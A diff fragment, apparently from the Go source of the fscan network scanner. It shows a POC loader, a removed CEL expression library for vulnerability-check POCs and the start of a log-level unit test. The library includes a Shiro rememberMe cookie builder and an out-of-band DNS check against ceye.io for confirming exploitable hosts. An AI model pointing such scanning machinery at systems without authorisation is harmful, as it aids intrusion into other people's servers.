if strings.Contains(entry.Name(), pocname) {
|
||||
foundFiles = append(foundFiles, entry.Name())
|
||||
}
|
||||
}
|
||||
return foundFiles
|
||||
}
|
||||
|
||||
// LoadPocbyPath 从文件系统路径加载POC
|
||||
func LoadPocbyPath(fileName string) (*Poc, error) {
|
||||
p := &Poc{}
|
||||
// 读取POC文件内容
|
||||
data, err := os.ReadFile(fileName)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 解析YAML内容
|
||||
err = yaml.Unmarshal(data, p)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
return p, err
|
||||
}
|
||||
@@ -1,795 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/md5"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/google/cel-go/checker/decls"
|
||||
"github.com/google/cel-go/common/types"
|
||||
"github.com/google/cel-go/common/types/ref"
|
||||
"github.com/google/cel-go/interpreter/functions"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
|
||||
"io"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// NewEnv 创建一个新的 CEL 环境
|
||||
func NewEnv(c *CustomLib) (*cel.Env, error) {
|
||||
return cel.NewEnv(cel.Lib(c))
|
||||
}
|
||||
|
||||
// Evaluate 评估 CEL 表达式
|
||||
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
|
||||
// 空表达式默认返回 true
|
||||
if expression == "" {
|
||||
return types.Bool(true), nil
|
||||
}
|
||||
|
||||
// 编译表达式
|
||||
ast, issues := env.Compile(expression)
|
||||
if issues.Err() != nil {
|
||||
return nil, fmt.Errorf("表达式编译错误: %w", issues.Err())
|
||||
}
|
||||
|
||||
// 创建程序
|
||||
program, err := env.Program(ast)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("程序创建错误: %w", err)
|
||||
}
|
||||
|
||||
// 执行评估
|
||||
result, _, err := program.Eval(params)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("表达式评估错误: %w", err)
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// UrlTypeToString 将 URL 结构体转换为字符串
|
||||
func UrlTypeToString(u *UrlType) string {
|
||||
var builder strings.Builder
|
||||
|
||||
// 处理 scheme 部分
|
||||
if u.Scheme != "" {
|
||||
builder.WriteString(u.Scheme)
|
||||
builder.WriteByte(':')
|
||||
}
|
||||
|
||||
// 处理 host 部分
|
||||
if u.Scheme != "" || u.Host != "" {
|
||||
if u.Host != "" || u.Path != "" {
|
||||
builder.WriteString("//")
|
||||
}
|
||||
if host := u.Host; host != "" {
|
||||
builder.WriteString(host)
|
||||
}
|
||||
}
|
||||
|
||||
// 处理 path 部分
|
||||
path := u.Path
|
||||
if path != "" && path[0] != '/' && u.Host != "" {
|
||||
builder.WriteByte('/')
|
||||
}
|
||||
|
||||
// 处理相对路径
|
||||
if builder.Len() == 0 {
|
||||
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
|
||||
builder.WriteString("./")
|
||||
}
|
||||
}
|
||||
builder.WriteString(path)
|
||||
|
||||
// 处理查询参数
|
||||
if u.Query != "" {
|
||||
builder.WriteByte('?')
|
||||
builder.WriteString(u.Query)
|
||||
}
|
||||
|
||||
// 处理片段标识符
|
||||
if u.Fragment != "" {
|
||||
builder.WriteByte('#')
|
||||
builder.WriteString(u.Fragment)
|
||||
}
|
||||
|
||||
return builder.String()
|
||||
}
|
||||
|
||||
type CustomLib struct {
|
||||
envOptions []cel.EnvOption
|
||||
programOptions []cel.ProgramOption
|
||||
}
|
||||
|
||||
func NewEnvOption() CustomLib {
|
||||
c := CustomLib{}
|
||||
|
||||
c.envOptions = []cel.EnvOption{
|
||||
cel.Container("lib"),
|
||||
cel.Types(
|
||||
&UrlType{},
|
||||
&Request{},
|
||||
&Response{},
|
||||
&Reverse{},
|
||||
),
|
||||
cel.Declarations(
|
||||
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
|
||||
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
|
||||
decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
|
||||
),
|
||||
cel.Declarations(
|
||||
// functions
|
||||
decls.NewFunction("bcontains",
|
||||
decls.NewInstanceOverload("bytes_bcontains_bytes",
|
||||
[]*exprpb.Type{decls.Bytes, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("bmatches",
|
||||
decls.NewInstanceOverload("string_bmatches_bytes",
|
||||
[]*exprpb.Type{decls.String, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("md5",
|
||||
decls.NewOverload("md5_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomInt",
|
||||
decls.NewOverload("randomInt_int_int",
|
||||
[]*exprpb.Type{decls.Int, decls.Int},
|
||||
decls.Int)),
|
||||
decls.NewFunction("randomLowercase",
|
||||
decls.NewOverload("randomLowercase_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomUppercase",
|
||||
decls.NewOverload("randomUppercase_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomString",
|
||||
decls.NewOverload("randomString_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64",
|
||||
decls.NewOverload("base64_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64",
|
||||
decls.NewOverload("base64_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64Decode",
|
||||
decls.NewOverload("base64Decode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64Decode",
|
||||
decls.NewOverload("base64Decode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("urlencode",
|
||||
decls.NewOverload("urlencode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("urlencode",
|
||||
decls.NewOverload("urlencode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("urldecode",
|
||||
decls.NewOverload("urldecode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("urldecode",
|
||||
decls.NewOverload("urldecode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("substr",
|
||||
decls.NewOverload("substr_string_int_int",
|
||||
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("wait",
|
||||
decls.NewInstanceOverload("reverse_wait_int",
|
||||
[]*exprpb.Type{decls.Any, decls.Int},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("icontains",
|
||||
decls.NewInstanceOverload("icontains_string",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("TDdate",
|
||||
decls.NewOverload("tongda_date",
|
||||
[]*exprpb.Type{},
|
||||
decls.String)),
|
||||
decls.NewFunction("shirokey",
|
||||
decls.NewOverload("shiro_key",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("startsWith",
|
||||
decls.NewInstanceOverload("startsWith_bytes",
|
||||
[]*exprpb.Type{decls.Bytes, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("istartsWith",
|
||||
decls.NewInstanceOverload("startsWith_string",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("hexdecode",
|
||||
decls.NewInstanceOverload("hexdecode",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.Bytes)),
|
||||
),
|
||||
}
|
||||
c.programOptions = []cel.ProgramOption{
|
||||
cel.Functions(
|
||||
&functions.Overload{
|
||||
Operator: "bytes_bcontains_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
||||
}
|
||||
return types.Bool(bytes.Contains(v1, v2))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "string_bmatches_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bmatch", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bmatch", rhs.Type())
|
||||
}
|
||||
ok, err := regexp.Match(string(v1), v2)
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.Bool(ok)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "md5_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to md5_string", value.Type())
|
||||
}
|
||||
return types.String(fmt.Sprintf("%x", md5.Sum([]byte(v))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomInt_int_int",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
from, ok := lhs.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to randomInt", lhs.Type())
|
||||
}
|
||||
to, ok := rhs.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
|
||||
}
|
||||
min, max := int(from), int(to)
|
||||
return types.Int(rand.Intn(max-min) + min)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomLowercase_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
|
||||
}
|
||||
return types.String(randomLowercase(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomUppercase_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
|
||||
}
|
||||
return types.String(randomUppercase(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "randomString_int",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
n, ok := value.(types.Int)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type())
|
||||
}
|
||||
return types.String(randomString(int(n)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_string", value.Type())
|
||||
}
|
||||
return types.String(base64.StdEncoding.EncodeToString([]byte(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64_bytes", value.Type())
|
||||
}
|
||||
return types.String(base64.StdEncoding.EncodeToString(v))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64Decode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_string", value.Type())
|
||||
}
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeBytes)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "base64Decode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to base64Decode_bytes", value.Type())
|
||||
}
|
||||
decodeBytes, err := base64.StdEncoding.DecodeString(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeBytes)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urlencode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_string", value.Type())
|
||||
}
|
||||
return types.String(url.QueryEscape(string(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urlencode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urlencode_bytes", value.Type())
|
||||
}
|
||||
return types.String(url.QueryEscape(string(v)))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urldecode_string",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_string", value.Type())
|
||||
}
|
||||
decodeString, err := url.QueryUnescape(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeString)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "urldecode_bytes",
|
||||
Unary: func(value ref.Val) ref.Val {
|
||||
v, ok := value.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to urldecode_bytes", value.Type())
|
||||
}
|
||||
decodeString, err := url.QueryUnescape(string(v))
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(decodeString)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "substr_string_int_int",
|
||||
Function: func(values ...ref.Val) ref.Val {
|
||||
if len(values) == 3 {
|
||||
str, ok := values[0].(types.String)
|
||||
if !ok {
|
||||
return types.NewErr("invalid string to 'substr'")
|
||||
}
|
||||
start, ok := values[1].(types.Int)
|
||||
if !ok {
|
||||
return types.NewErr("invalid start to 'substr'")
|
||||
}
|
||||
length, ok := values[2].(types.Int)
|
||||
if !ok {
|
||||
return types.NewErr("invalid length to 'substr'")
|
||||
}
|
||||
runes := []rune(str)
|
||||
if start < 0 || length < 0 || int(start+length) > len(runes) {
|
||||
return types.NewErr("invalid start or length to 'substr'")
|
||||
}
|
||||
return types.String(runes[start : start+length])
|
||||
} else {
|
||||
return types.NewErr("too many arguments to 'substr'")
|
||||
}
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "reverse_wait_int",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
reverse, ok := lhs.Value().(*Reverse)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to 'wait'", lhs.Type())
|
||||
}
|
||||
timeout, ok := rhs.Value().(int64)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to 'wait'", rhs.Type())
|
||||
}
|
||||
return types.Bool(reverseCheck(reverse, timeout))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "icontains_string",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(strings.Contains(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "tongda_date",
|
||||
Function: func(value ...ref.Val) ref.Val {
|
||||
return types.String(time.Now().Format("0601"))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "shiro_key",
|
||||
Binary: func(key ref.Val, mode ref.Val) ref.Val {
|
||||
v1, ok := key.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(key, "unexpected type '%v' passed to shiro_key", key.Type())
|
||||
}
|
||||
v2, ok := mode.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(mode, "unexpected type '%v' passed to shiro_mode", mode.Type())
|
||||
}
|
||||
cookie := GetShrioCookie(string(v1), string(v2))
|
||||
if cookie == "" {
|
||||
return types.NewErr("%v", "key b64decode failed")
|
||||
}
|
||||
return types.String(cookie)
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "startsWith_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_bytes", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_bytes", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(bytes.HasPrefix(v1, v2))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "startsWith_string",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to startsWith_string", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to startsWith_string", rhs.Type())
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bool(strings.HasPrefix(strings.ToLower(string(v1)), strings.ToLower(string(v2))))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "hexdecode",
|
||||
Unary: func(lhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to hexdecode", lhs.Type())
|
||||
}
|
||||
out, err := hex.DecodeString(string(v1))
|
||||
if err != nil {
|
||||
return types.ValOrErr(lhs, "hexdecode error: %v", err)
|
||||
}
|
||||
// 不区分大小写包含
|
||||
return types.Bytes(out)
|
||||
},
|
||||
},
|
||||
),
|
||||
}
|
||||
return c
|
||||
}
|
||||
|
||||
// CompileOptions 返回环境编译选项
|
||||
func (c *CustomLib) CompileOptions() []cel.EnvOption {
|
||||
return c.envOptions
|
||||
}
|
||||
|
||||
// ProgramOptions 返回程序运行选项
|
||||
func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
|
||||
return c.programOptions
|
||||
}
|
||||
|
||||
// UpdateCompileOptions 更新编译选项,处理不同类型的变量声明
|
||||
func (c *CustomLib) UpdateCompileOptions(args StrMap) {
|
||||
for _, item := range args {
|
||||
key, value := item.Key, item.Value
|
||||
|
||||
// 根据函数前缀确定变量类型
|
||||
var declaration *exprpb.Decl
|
||||
switch {
|
||||
case strings.HasPrefix(value, "randomInt"):
|
||||
// randomInt 函数返回整型
|
||||
declaration = decls.NewIdent(key, decls.Int, nil)
|
||||
case strings.HasPrefix(value, "newReverse"):
|
||||
// newReverse 函数返回 Reverse 对象
|
||||
declaration = decls.NewIdent(key, decls.NewObjectType("lib.Reverse"), nil)
|
||||
default:
|
||||
// 默认声明为字符串类型
|
||||
declaration = decls.NewIdent(key, decls.String, nil)
|
||||
}
|
||||
|
||||
c.envOptions = append(c.envOptions, cel.Declarations(declaration))
|
||||
}
|
||||
}
|
||||
|
||||
// 初始化随机数生成器
|
||||
var randSource = rand.New(rand.NewSource(time.Now().Unix()))
|
||||
|
||||
// randomLowercase 生成指定长度的小写字母随机字符串
|
||||
func randomLowercase(n int) string {
|
||||
const lowercase = "abcdefghijklmnopqrstuvwxyz"
|
||||
return RandomStr(randSource, lowercase, n)
|
||||
}
|
||||
|
||||
// randomUppercase 生成指定长度的大写字母随机字符串
|
||||
func randomUppercase(n int) string {
|
||||
const uppercase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
return RandomStr(randSource, uppercase, n)
|
||||
}
|
||||
|
||||
// randomString 生成指定长度的随机字符串(包含大小写字母和数字)
|
||||
func randomString(n int) string {
|
||||
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
return RandomStr(randSource, charset, n)
|
||||
}
|
||||
|
||||
// reverseCheck 检查 DNS 记录是否存在
|
||||
func reverseCheck(r *Reverse, timeout int64) bool {
|
||||
// 检查必要条件
|
||||
if ceyeApi == "" || r.Domain == "" || !Common.DnsLog {
|
||||
return false
|
||||
}
|
||||
|
||||
// 等待指定时间
|
||||
time.Sleep(time.Second * time.Duration(timeout))
|
||||
|
||||
// 提取子域名
|
||||
sub := strings.Split(r.Domain, ".")[0]
|
||||
|
||||
// 构造 API 请求 URL
|
||||
apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s",
|
||||
ceyeApi, sub)
|
||||
|
||||
// 创建并发送请求
|
||||
req, _ := http.NewRequest("GET", apiURL, nil)
|
||||
resp, err := DoRequest(req, false)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检查响应内容
|
||||
hasData := !bytes.Contains(resp.Body, []byte(`"data": []`))
|
||||
isOK := bytes.Contains(resp.Body, []byte(`"message": "OK"`))
|
||||
|
||||
if hasData && isOK {
|
||||
fmt.Println(apiURL)
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// RandomStr 生成指定长度的随机字符串
|
||||
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
|
||||
const (
|
||||
// 用 6 位比特表示一个字母索引
|
||||
letterIdxBits = 6
|
||||
// 生成掩码:000111111
|
||||
letterIdxMask = 1<<letterIdxBits - 1
|
||||
// 63 位能存储的字母索引数量
|
||||
letterIdxMax = 63 / letterIdxBits
|
||||
)
|
||||
|
||||
// 预分配结果数组
|
||||
randBytes := make([]byte, n)
|
||||
|
||||
// 使用位操作生成随机字符串
|
||||
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
|
||||
// 当可用的随机位用完时,重新获取随机数
|
||||
if remain == 0 {
|
||||
cache, remain = randSource.Int63(), letterIdxMax
|
||||
}
|
||||
|
||||
// 获取字符集中的随机索引
|
||||
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
|
||||
randBytes[i] = letterBytes[idx]
|
||||
i--
|
||||
}
|
||||
|
||||
// 右移已使用的位,更新计数器
|
||||
cache >>= letterIdxBits
|
||||
remain--
|
||||
}
|
||||
|
||||
return string(randBytes)
|
||||
}
|
||||
|
||||
// DoRequest 执行 HTTP 请求
|
||||
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
||||
// 处理请求头
|
||||
if req.Body != nil && req.Body != http.NoBody {
|
||||
// 设置 Content-Length
|
||||
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
|
||||
|
||||
// 如果未指定 Content-Type,设置默认值
|
||||
if req.Header.Get("Content-Type") == "" {
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
}
|
||||
}
|
||||
|
||||
// 执行请求
|
||||
var (
|
||||
oResp *http.Response
|
||||
err error
|
||||
)
|
||||
|
||||
if redirect {
|
||||
oResp, err = Client.Do(req)
|
||||
} else {
|
||||
oResp, err = ClientNoRedirect.Do(req)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("请求执行失败: %w", err)
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
|
||||
// 解析响应
|
||||
resp, err := ParseResponse(oResp)
|
||||
if err != nil {
|
||||
Common.LogError("响应解析失败: " + err.Error())
|
||||
}
|
||||
|
||||
return resp, err
|
||||
}
|
||||
|
||||
// ParseUrl 解析 URL 并转换为自定义 URL 类型
|
||||
func ParseUrl(u *url.URL) *UrlType {
|
||||
return &UrlType{
|
||||
Scheme: u.Scheme,
|
||||
Domain: u.Hostname(),
|
||||
Host: u.Host,
|
||||
Port: u.Port(),
|
||||
Path: u.EscapedPath(),
|
||||
Query: u.RawQuery,
|
||||
Fragment: u.Fragment,
|
||||
}
|
||||
}
|
||||
|
||||
// ParseRequest 将标准 HTTP 请求转换为自定义请求对象
|
||||
func ParseRequest(oReq *http.Request) (*Request, error) {
|
||||
req := &Request{
|
||||
Method: oReq.Method,
|
||||
Url: ParseUrl(oReq.URL),
|
||||
Headers: make(map[string]string),
|
||||
ContentType: oReq.Header.Get("Content-Type"),
|
||||
}
|
||||
|
||||
// 复制请求头
|
||||
for k := range oReq.Header {
|
||||
req.Headers[k] = oReq.Header.Get(k)
|
||||
}
|
||||
|
||||
// 处理请求体
|
||||
if oReq.Body != nil && oReq.Body != http.NoBody {
|
||||
data, err := io.ReadAll(oReq.Body)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取请求体失败: %w", err)
|
||||
}
|
||||
req.Body = data
|
||||
// 重新设置请求体,允许后续重复读取
|
||||
oReq.Body = io.NopCloser(bytes.NewBuffer(data))
|
||||
}
|
||||
|
||||
return req, nil
|
||||
}
|
||||
|
||||
// ParseResponse 将标准 HTTP 响应转换为自定义响应对象
|
||||
func ParseResponse(oResp *http.Response) (*Response, error) {
|
||||
resp := Response{
|
||||
Status: int32(oResp.StatusCode),
|
||||
Url: ParseUrl(oResp.Request.URL),
|
||||
Headers: make(map[string]string),
|
||||
ContentType: oResp.Header.Get("Content-Type"),
|
||||
}
|
||||
|
||||
// 复制响应头,合并多值头部为分号分隔的字符串
|
||||
for k := range oResp.Header {
|
||||
resp.Headers[k] = strings.Join(oResp.Header.Values(k), ";")
|
||||
}
|
||||
|
||||
// 读取并解析响应体
|
||||
body, err := getRespBody(oResp)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("处理响应体失败: %w", err)
|
||||
}
|
||||
resp.Body = body
|
||||
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
// getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩
|
||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
// 读取原始响应体
|
||||
body, err := io.ReadAll(oResp.Body)
|
||||
if err != nil && err != io.EOF && len(body) == 0 {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 处理 gzip 压缩
|
||||
if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") {
|
||||
reader, err := gzip.NewReader(bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return body, nil // 如果解压失败,返回原始数据
|
||||
}
|
||||
defer reader.Close()
|
||||
|
||||
decompressed, err := io.ReadAll(reader)
|
||||
if err != nil && err != io.EOF && len(decompressed) == 0{
|
||||
return nil, err
|
||||
}
|
||||
if len(decompressed) == 0 && len(body) != 0{
|
||||
return body, nil
|
||||
}
|
||||
return decompressed, nil
|
||||
}
|
||||
|
||||
return body, nil
|
||||
}
|
||||
@@ -0,0 +1,257 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/logging"
|
||||
"github.com/shadow1ng/fscan/common/proxy"
|
||||
)
|
||||
|
||||
func TestGetLogLevelFromString(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
input string
|
||||
expected logging.LogLevel
|
||||
}{
|
||||
// 标准情况
|
||||
{"all lowercase", "all", logging.LevelAll},
|
||||
{"ALL uppercase", "ALL", logging.LevelAll},
|
||||
{"error lowercase", "error", logging.LevelError},
|
||||
{"ERROR uppercase", "ERROR", logging.LevelError},
|
||||
{"base lowercase", "base", logging.LevelBase},
|
||||
{"BASE uppercase", "BASE", logging.LevelBase},
|
||||
{"info lowercase", "info", logging.LevelInfo},
|
||||
{"INFO uppercase", "INFO", logging.LevelInfo},
|
||||
{"success lowercase", "success", logging.LevelSuccess},
|
||||
{"SUCCESS uppercase", "SUCCESS", logging.LevelSuccess},
|
||||
{"debug lowercase", "debug", logging.LevelDebug},
|
||||
{"DEBUG uppercase", "DEBUG", logging.LevelDebug},
|
||||
|
||||
// 组合情况
|
||||
{"info,success", "info,success", logging.LevelInfoSuccess},
|
||||
